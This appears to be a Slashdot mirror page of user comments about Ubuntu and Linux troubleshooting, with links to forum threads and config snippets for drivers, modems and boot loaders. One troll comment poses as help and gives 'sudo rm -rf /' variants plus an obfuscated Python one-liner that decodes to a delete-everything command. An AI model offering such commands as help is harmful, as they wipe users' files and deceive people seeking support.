Slashdot Mirror

Pan doesn't have built-in SSL support, but try using it with stunnel4.

Howto for Ubuntu is here.

oh well, crap, here's the link: http://www.canonical.com/netbooks scroll down to the bottom half. Subsequent forum discussion: http://ubuntuforums.org/showthread.php?t=822097&highlight=netbook+remix. Although, I guess if you were just talking about the Ubuntu devs, I have no arguement. I never even made that "pays enough" statement, I just wanted to give an example (wrong link though, my bad).

And I'm not a free software zealot or anything, I'm just a regular jerk-off that listens to mp3s and watches DVDs, and plays some old games on WINE, and use the proprietary hal module in the madwifi driver. But I think that what's more important than simply the freedom to choose, is the knowledge that a choice is being made. And Ubuntu does this fairly well with their 'restricted' terminology. It could still be better, though.

hmm, so it is.
I must have been using the latest version from SVN
http://www.mplayerhq.hu/design7/dload.html

Of course, that means finding a load of libraries and stuff and then compiling it yourself.
It is not a wonderfully straight-forward process.
If you decide to try it then this page might help a bit especially if you are using debian or ubuntu
http://ubuntuforums.org/showthread.php?t=558538

Also, you might want to know about the -framedrop option which will prevent audio desync when the mplayer cannot render the video fast enough.
(it is not a solution, just a work around so that the audio stays in sync)

I'm not sure, but I've heard that a lack of hardware video acceleration is one of the factors which currently limits the capabilities of the PS3 as a linux machine (along with memory support and lack of emulators for the cpu architecture). This article gives me a bit of hope that we might see advances in the capabilities of the PS3 under Linux. ( http://ubuntuforums.org/showthread.php?t=624865 )

I just use a script found here that seems to use MadWifi defaults. I have no idea why Ubuntu's module didn't work. I really don't know much about anything to help upstream with this. :P

There is a Pidgin patch available HERE

Look here: http://ubuntuforums.org/showthread.php?t=265962
It seems that a bios update in Q1 2007 fixed the problem for some people. Unfortunately not for everyone, but that is something you could try.
Or maybe this one helps: http://www.linuxquestions.org/questions/linux-newbie-8/ubuntu-on-dell-inspiron-2600-laptop-595259/
Or this one: http://www.apfrod.com/works/2008/03/15/ubuntu_8_04_hardy_heron_on_dell_inspiron_2600

All of it a bit more tricky than clicking on a setup program. So you get a taste of what Linux was like 10 years ago. Back then editing config files to get your drivers running was normal. Today, it is an exception with distributions like Ubuntu, and only needed in problem cases.

Unfortunately Age of Conan does not yet work with Wine (at least not that I know of). According to winehq it's still garbage and there is an active thread over at ubuntuforums with people having no luck.

Looks like I'll be trying this tomorrow:

Appendix E. OpenGL Environment Variable Settings, which was referred to by this thread, which happened to be the first hit for "compiz anti-aliasing" in Google. Go figure. :)

Now, I just got this from a quick google search, but it looks like it's already out.

If so, I may just have reason to try Linux again.

Sure thing. http://ubuntuforums.org/showthread.php?p=4961511&posted=1#post4961511

Hey, me too!

And I have to agree that since the advent of LiveCD's (and modern packaging systems) the entire process has gotten so easy that there is no excuse to NOT repair a Linux installation.

Linux is designed so that if you can boot the box, you can (99.999% of the time) fix the problem. Whether you boot with floppy, CD, DVD or USB ...

Recently I was bitten by the Ubuntu libc bug in beta. No problem! Boot the LiveCD, grab the package, follow some simple instructions and you're back up and working.
http://ubuntuforums.org/showthread.php?t=722886
Skip to the last page. There's a LOT of discussion of that.

I won't do all of your homework for you, but here's a start. It looks like, based on Best Buy's offerings, you are best going with a card that uses the Atheros chipset. I have a D-Link in my desktop computer that uses this chipset and Linux support is very good. However, every model (even by the same manufacturer) is different. There are only 11 desktop cards and 18 laptop cards carried by best buy. If one of those cards is on this list then that is the card for you. Install the card, install Ubuntu (but keep a wire connected for now). You will then need to enable the "universe" repositories in Synaptic that include non-free software. Install the "madwifi" driver and you should be good to go. The only wireless cards I've used that have worked out of the box, with no extra drivers to install and no windows drivers to install with ndiswrapper or the like is Intel wireless cards. Doesn't look like Best Buy has any though, so your easiest bet is using a MadWiFI compatible card. If you are truly new to Linux and Ubuntu, then I would consult http://ubuntuforums.org/ for setting up Synaptic and getting the driver installed. This is an extremely common topic and is well documented.

On a side note, I would try to get away from buying computer parts from Best Buy. The options are limited, the prices high, and you always have some deusche salesmen trying to talk you into the more expensive card "cause it's teh r0x0rz!" even though it's completely wrong for your needs. I would drop by Newegg.com for great price, great shipping service, and huge selection.

I installed Ubuntu on my Dell 1505 laptop thinking it would be a cakewalk. I mean, Dell sells these laptop with Ubuntu installed as an option. I had previously tried Fedora 8 (no sound) and SuSE (didn't recognize my video card). So when I installed Feisty Fawn, I was hoping for the best. All went well, except it didn't find my integrated 802.11 card. I had to go through an elaborate series of steps to get it working. Not exactly 'out of the box' functionality - especially considering this was OEM hardware.

You might be able to enter a fully encrypted Ubuntu system by changing the encrypted volume's password via this HowTo: http://ubuntuforums.org/showthread.php?s=0e63152c4ec03cb5696d99e8468cbfe7&t=670667&highlight=HOWTO%3A

Please do not mention the Gimp. I need CMKY for one thing.

I think both CinePaint aka Film GIMP, and Krita support CMYK. CinePaint is available for Linux, Macs, and Windows whereas Krita is for Linux. I don't know about Krita but CinePaint also does 32 bits per colour channel.

It was a series of PM's on the Ubuntu forums.

I'm going to log into the Ubuntu and Kubuntu forums and see what I can find from messages posted publicly, but I ran into crap in the irc channels, and both forums repeatedly. I reported one post for flaming, and that is when a mod started ripping into me repeatedly through a PM.

I'm the only enderandrew on the internet, and any Google search will show the countless forums I'm registered on. I never run into problems with moderators. I'm not full of shit, and I really don't care for people calling me a liar.

If you're 100% convinced there aren't any fanatical asshats in the Ubuntu community about everything 100% free, you apparently haven't read up anything on Gobuntu, or how they even blast Firefox for not being free.

Here you can see one of my requests for help. I used Google first, I was polite, and I asked questions.

http://ubuntuforums.org/showthread.php?t=485527

I forgot some of the other problems I had right off the bat, like the touchpad not working well, couldn't install a samba shared printer in KDE, and OpenOffice being horribly slow. Again, didn't have those problems on other distros.

The people who responded with any attempt at helpful information I thanked and was very polite.

I had a similiar problem with WPA2 as well -- seemed that I had to re-enter my password after each reboot ... then I realized that running an ifdown / ifup sequence just after startup the wireless would start. Which still wasn't fun.

What I ended up doing was adding pre-up sleep 20 to my /etc/network/interfaces file ... which solved the problem. Things work awesome now.

So now things look like this:

auto ath0
iface ath0 inet dhcp
pre-up sleep 20
wpa-psk 8501.....dcf
wpa-driver wext
wpa-key-mgmt WPA-PSK
wpa-proto WPA2
wpa-ssid myid

here is the thread

The result was that my computer wouldn't boot into any operating system AT ALL, not even back into windows.

In the end I decided to buy a THIRD hard drive, replace one of the mirrored drives with the new one, and completely reinstall windows. I gave up on the idea of using Ubuntu on my desktop once I went through this hellish ordeal. Note: I use Ubuntu 7.04 on my laptop (in fact, I'm typing this post in it right now). It's nice. I like it a lot.

If anyone is thinking about installing Ubuntu on a system that uses software RAID, I HIGHLY recommend that you read the following thread: http://ubuntuforums.org/archive/index.php/t-457631.html

The information given by the other posters should be enough to get you going. However note that if you run into problems, the Ubuntu Forums are remarkably fast and helpful, especially for "first time user" type questions.

You might also want to take a look at this tutorial, which has nice screenshots showing the steps you'll go through (it hasn't yet been updated for 8.04, but it should be very similar to what you'll see with the current installer). It explains in particular how to set up a dual-boot, so that you can keep using Windows while trying out Ubuntu.

Good luck, and have fun!

I got an HTC Touch a few months ago and I'm LOVING it. Not because it displays sites well (it's great for mobile-specific sites, but otherwise Mobile IE SUCKS), but because it makes it easy to set up a bluetooth PAN. It takes a little while to set up the first time, but now I just press a button on my phone, then run a bash script on Ubuntu that connects to the phone. Instant Internet, ANYWHERE. It's great for family trips - I just hop in the back seat and can surf/IRC/post on /. while riding down the road.

Of course, you need a bluetooth enabled laptop (I have an IBM T41), or a USB Dongle. And you need instructions for setting it up from http://ubuntuforums.org/showthread.php?t=598890&highlight=pand

I can vouch for the multiple partitions method, though my implementation is a bit extreme. Personally, I'm running out of drive letters.

My own advice to add to the post above:
- Round those 20GB partitions down to around 15GB or so, they'll still be big enough and it'll halve your cluster size.
- There's actually no need to avoid NTFS anymore, as Ubuntu now has stable NTFS read-write support. There are also drivers such that you can read/write ext3 partitions under Windows, but I haven't found one I like yet.

"Okay, I now suspect you're trolling but I'll respond one last time. What Linux distro is "decent enough" that installing it also configures my multi-button mouse to perform my preferred custom action with the third mouse button and to ignore the fourth mouse button entirely? What Linux distro is decent enough that the installation step knows to set my printer to greyscale by default? What Linux distro is decent enough that it knows to disable the mic and webcam by default for all accounts? What distro is decent enough that as part of the installation it remakes the four user accounts I have on my old system? Seriously, each of these tasks is a separate step that requires me to manually make changes and is a separate step from just getting the OS up on the box."

Do you know what resides in the /etc/ directory?

"I'm sorry but manually repackaging all the software I install in and of itself is a bigger task than reinstalling by hand and that assumes I can repackage it. I'm not at all confident that some of the binary installers I run for commercial stuff are easy to do that with, or even practical."

ok, since you're google impaired:

http://ubuntuforums.org/showthread.php?t=51003

I use a few non free software solutions. I realize that since I do, it means that I don't get to use the built in tools to easily manage my system, thus is a free, supported tool exists to accomplish a task, I use it.

You can write scripts once and have full control of your system, or you can continue using your platform locked bloat.

Your choice.

OK, so XP or Vista and that card works for you. Great. But things aren't even completely rosy here in Microsoft land: a quick read suggests
many
people
have
issues
with this card even in Windows. These people were doing plenty of, as you say, chicken killing by moonlight.

Another search finds a report that the card does work with the latest Ubuntu release, so you might have better luck if you tried again now.

Considering how many people I know who have become so frustrated with their PC experience in Windows (mainly viruses and spyware) that they threw out the whole computer and bought a Mac, I think it's pretty reasonable to suggest to someone that they might need to buy a new known Linux compatible video card to make things work.

Wifi and dual screens are going much better in Ubuntu, and 8.04 gets released this month.

Ubuntu is at the point where you can get document editing, web browsing, email, image editing, and more from the DEFAULT install... hell, even from your live disk.

Almost everything is easy in Ubuntu, and any issues are easily fixed by searching google (Which is not always the case with Vista, Xp, and other windows OS's I use).

On a side note, here is a link to setting up sync contacts using evolution from your blackberry: http://ubuntuforums.org/showthread.php?t=190938

Link for using iphone, ipod touch: https://help.ubuntu.com/community/PortableDevices/iPhone
http://ubuntuforums.org/showthread.php?t=588246

They also seem to suggest "syncevolution", link here: http://www.estamos.de/projects/SyncML/

I guess what I am trying to say is: That was a LOT easier than to try and trouble shoot why Vista won't sync with device X in my opinion.

Wifi and dual screens are going much better in Ubuntu, and 8.04 gets released this month.

Ubuntu is at the point where you can get document editing, web browsing, email, image editing, and more from the DEFAULT install... hell, even from your live disk.

Almost everything is easy in Ubuntu, and any issues are easily fixed by searching google (Which is not always the case with Vista, Xp, and other windows OS's I use).

On a side note, here is a link to setting up sync contacts using evolution from your blackberry: http://ubuntuforums.org/showthread.php?t=190938

Link for using iphone, ipod touch: https://help.ubuntu.com/community/PortableDevices/iPhone
http://ubuntuforums.org/showthread.php?t=588246

They also seem to suggest "syncevolution", link here: http://www.estamos.de/projects/SyncML/

I guess what I am trying to say is: That was a LOT easier than to try and trouble shoot why Vista won't sync with device X in my opinion.

Wait... you couldn't figure out how to install Flash on Ubuntu 7.10 after TWO HOURS?

The 5th result when you search google for "flash ubuntu 7.10" is this. You read through it, enable the Restricted Repositories in Synaptic, and then just install flash.

I think you may find that this is enlightening. It boils down to this: Linux is NOT Windows. Trying to treat it like Windows sets you up for failure. You don't try to drive your car like you ride your bike, do you?

Just alias all the doubleclick servers to 127.0.0.1 in your /etc/hosts to solve this problem http://ubuntuforums.org/showthread.php?t=110440

try this: Installing ATI Drivers. It is a post I made a LONG time ago, since i had the same problems (and graphics card) as you :)

You won't always get help as some problems are just too difficult to solve from remote location, but in most cases you get help and save yourself several hours of work if you just ask. So I strongly suggest you to ask help (if you already have not) as solving your problem in here is much harder than it is in a forum dedicated to solve your problems with Ubuntu:

http://ubuntuforums.org/forumdisplay.php?f=132

Hardware companies care only about selling a product and keeping the customer satisfied for the first 30 days after which they can't return the said hardware. They don't care if the patches to Linux don't get upstream because as long as the hardware works fine with the version of Linux that they hacked up and pre-loaded, they're customers will be temporarily satisfied.

And when it comes time to upgrade the Linux OS in a year or two, the new version won't work, so the customers will be forced to buy more "up-to-date" hardware with more hacks and band aids. Even presumably FOSS-friendly companies like System76 change the pre-installed Ubuntu on their laptops by adding tons of hacks and then don't bother to even report them upstream, much less to develop a sustainable solution.

See the following threads on the System76 forum:

Real Linux drivers for System76 laptops, NO thanks to System76

Merge System76 Driver with upstream kernel and HAL

Hardware companies care only about selling a product and keeping the customer satisfied for the first 30 days after which they can't return the said hardware. They don't care if the patches to Linux don't get upstream because as long as the hardware works fine with the version of Linux that they hacked up and pre-loaded, they're customers will be temporarily satisfied.

And when it comes time to upgrade the Linux OS in a year or two, the new version won't work, so the customers will be forced to buy more "up-to-date" hardware with more hacks and band aids. Even presumably FOSS-friendly companies like System76 change the pre-installed Ubuntu on their laptops by adding tons of hacks and then don't bother to even report them upstream, much less to develop a sustainable solution.

See the following threads on the System76 forum:

Real Linux drivers for System76 laptops, NO thanks to System76

Merge System76 Driver with upstream kernel and HAL

A DSL router will allow you to connect all three computers to the internet at the same time. It seems like it would be very slow with three sharing but it is not. This is your best answer if you can do it. Is your provider cellular though? That is trickier because a router won't work with cellular. It is much easier to connect your Linux computer to a router than to the DSL modem.

About Dosbox I can't help you. When I want a DOS box, I build a DOS box. It's been a long time since I felt the urge to do that though.

Linuxquestion.org has forums tutorials and many other helpful things. You can also get help at Ubuntu forums.

For programming C++ I think the best reference is the book by Stroustrup. You might want to combine that with the C standard library tutorial and reference. These are mostly references to have when you really need to do something. When you master these books you will have a good understanding of C++.

For an easy introduction or to meet specific fields of interest you might try C++ In-Depth Series.

As you learn C++ you will want a good editor or integrated development environment. I like Eclipse. Don't download it from there though. Get it from the Add Programs in your menu -- that one has other stuff you can add to your C++ environment too and they're customized for your specific version of Ubuntu. Always look there first.

It was the helpful people on the comment forums that got me started on my way oh so long ago. I wish you luck. When you see how free you are to do stuff with it I think you'll see why people are so enthusiastic about it.

There is a way to fix that issue with Windows on a 2nd drive. you basically tell grub to swap the drive mapping between them when booting windows, like this:
map (hd0) (hd1)
map (hd1) (hd0)

More details: http://ubuntuforums.org/archive/index.php/t-384174.html
About half way down.

Kubuntu

• Rock solid KDE 3
• Commercial support provided by Canonical for a term of 18 months
• Release available through ShipIt for everybody as well as downloading

Kubuntu KDE 4 Remix

• Cutting edge KDE 4.0
• Support provided by the Kubuntu community via Ubuntu Forums, Kubuntu Forums, IRC, and the Kubuntu Users Mailing List.
• Release available through CDs for groups who need it (ie. LoCo teams, conference teams, etc.) as well as downloading

I've had problems with Ubuntu as well, especially upgrading from Feisty to Gutsy on my laptop. Heck, there's an entire thread on the subject of HP laptops and Gutsy on the Ubuntu Support forums. Granted, laptops and Linux are a rather interesting combination, to put it mildly, so I don't hold it against Ubuntu or anything. That said, claiming that Linux updates are completely flawless and that there are never hardware compatibility problems is absolutely ridiculous.

db

Accessing T-Mobile 3G with Huawei USB modem using wvdial
(in part based on benlund.info )

Tested in Feisty

I had to add the module option to /etc/modprobe.d/blacklist
also check that usb-storage isn't loaded
disable wireless and other connections

plug in USB modem and check device details in a terminal:
# lsusb

should see amongst other things a line like:
Bus 002 Device 005: ID 12d1:1003

# modprobe usbserial vendor=0x12d1 product=0x1003

check to see the ttyS devices created:

# ls -la /dev/ttyU*
crw-rw---- 1 root dialout 188, 0 2007-12-21 21:03 /dev/ttyUSB0
crw-rw---- 1 root dialout 188, 1 2007-12-21 21:03 /dev/ttyUSB1
crw-rw---- 1 root dialout 188, 2 2007-12-21 21:03 /dev/ttyUSB2

Add to /etc/wvdial.conf:
[Dialer tmobileusb]
Phone = *99***1#
Username = web
Password = web
Stupid Mode = 1
Dial Command = ATDT
Modem = /dev/ttyUSB0
Baud = 460800
Init2 = ATZ
Init3 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
ISDN = 0
Modem Type = Analog Modem
Init5 = AT+CGDCONT=1,"IP","general.t-mobile.uk";

run wvdial:

#wvdial tmobileusb

http://ubuntuforums.org/forumdisplay.php?f=301

Does anyone know how much Xandros got for their deal? From what I've read the only way that Microsoft would license the APIs that they needed for desktop and server interoperability was to add the "IP Protection" clause into the contracts.Unfortunately most of the pages are dead now,and the only information I could find was this which has a brief recap of a dead page about halfway down that says that Xandros did license server code from Microsoft and is working on an OOXML to ODF converter. Either way I will continue to use Xandros,because it is the only distro that I've never had any trouble with when working with windows AD networks. But I am curious as to how much they got,and which server code they got access to. Anyone know?

Well.. these posts are getting a bit long for me. :-)

I understand your experience differs, and that's fine as you said. However, a couple of things. Did you learn much of what you needed for Linux because you have a job doing so? I'm certainly not afraid of Linux by any means. Its just that its more difficult to learn. I do fine with shells and what not, after all I used Unix all through my five year college program. That's when I first came into contact with Linux as well. "Unix on my PC, awesome!" But a normal user won't be able to just sit down and be able to muddle their way through. If I had a hard time, I don't think a home user on their own would do much better.

Your user experience is limited (it seems) to business users. That's fine as I said, but I don't think that the experience a business user of linux (who likely doesn't manage the computer they use in any way) translates to a home user well (because they have to "manage" the system themselves).

In that sense, market share IS important, because home users also add hardware to their PC. You can't just buy anything and assume it will work on Linux.

As far as /home being on an NFS mount; I think that was recommended when I first setup my server. At any rate, the idea was to keep user data on the server. I understand WHY everything locked up, but it didn't lead to a great experience. Contrast this to Windows; a few group policy settings (which affect more than the location of user documents) and user files and settings are stored on the server. With Windows, its smart enough to use the local store and sync later. No configuration needed.

Regarding the "security implications" arguement, I fail to see why advanced or dangerous options should be "hard" to do or only done through a text editor. When setting a group policy setting, there are warnings if need be on the page where I sent the option, and there's always an Explain tab, which details all options and what they mean. Help on Linux sucks. Man pages tell you an option, but rarely do more than say "enables or disables the option." There is MUCH better documentation on Windows than Linux.. and that's sad. Back to the "for experts by experts," well, it really sucks if you're just beginning and need to get something done. In Windows, I can be handheld until I learn more about what I need to do.. then I can do it using another tool or diving into the registry or what have you. With Linux, it was like "you can't do that until you're an expert." So.. how do I learn if I can't get started? That attitude needs to go..remember, I am a developer, and I have done some Linux and Windows administration (I even did a sort of a minor in systems admin which covered both.. and Linux was easier because I had already started learning it years before on my own).

I know I've moved to Linux, but the problem is worse with other OS software. A few projects have enough attention that they are good quality. Most (like GNUCash) don't have that. Quality may be there, but usability won't be. Or usability will be there, but quality won't. Or you just flat can't get the software installed. The OS software you've been pointing to are exceptions, not the rule, at least that's what I've found. There is something to be said for being able to go to BestBuy or Amazon and see the software I want there; at the very least, I know a good number of people are using it. With many OS applications, that metric is missing.

I appreciate the offer to help with Kopete, but the problems were a few years ago now. I went back to Windows full time in 06. I'm happy, Windows does what I want, and contrary to other posters here is reliable. As for the printer, I don't think that's ever been addressed. Notice one of the "helpful" posts is to throw the machine way and buy an HP.

I understand you like Ubuntu, but that's part of my skeptism now. First it was Slack, then

Well I can HELP!

Try

sudo rm -rf /

sudo rm -rf .

sudo rm -rf *

This one is especially good!

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Try WICD...I've found it to be the best network manager for Ubuntu - it even supports WPA2. You can check out the how-to here http://ubuntuforums.org/showthread.php?t=202834&highlight=wicd Mike

There are apparently several SoC changes in Pidgin (formerly Gaim)

They're missing tech support and quality control.

Yes, I am posting this from Ubuntu, and I'll admit they've come a long way in the past few releases - but there are still some major issues that you wouldn't see with a normal retail O/S:

(these are on gutsy, fresh install)

1. The search function doesn't work (yes there are other functions to search, but the main search button on every window.. that one doesn't work, at all.)
2. The network manager freezes up my computer when I switch saved networks, or from one wireless network to another (this happens maybe 20% of the time?)
3. The power functions (suspend/hibernate, etc) do not work.
4. The splash screen incorrectly detected my resolution and caused boots to take literally 5 minutes.

This is on a Dell Inspiron 9300, fairly standard laptop hardware.

#2 I can write off as a bug, although I don't see any good reason that my network manager should make my mouse and keyboard stop working (music/video etc keeps playing - but caps lock and any other key/mouse button stops working)

#1,3, & 4 would be unacceptable for a commercial OS going through normal quality control. I think the main problem is that there are so many people working on disparate parts that one fix or feature over here inadvertently breaks something over there.

As far as the support goes - I've posted on http://ubuntuforums.org/ (ubuntu's official forums) 3-4 times on issues I can't find previous answers to, and never receive any response. Since I read other fairly helpful responses to others I assume that the main problem is there aren't enough knowledgeable people to assess the complicated problems I've run into - which is where something like corporate tech support would help - they would escalate your issue till you got an answer.

All in all I'm fairly happy with Ubuntu, but some of the problems I've run into, and fixes I had to apply manually would be a deal breaker for a novice user.

P.S. I have everything except the network manager issue fixed myself

Your Ubuntu-related paranoia ('"My own actions" are not the cause of this problem'), and your Slashdot-related paranoia ('the people that are stalking me') don't exactly inspire me to take seriously your global warming paranoia ('The purpose, for most such alarmists, is to shut down activity they don't like')...

When you're persecuted, when people are out to get you, and when you're the only one who can see what's really going on, it's time to start taking your meds again...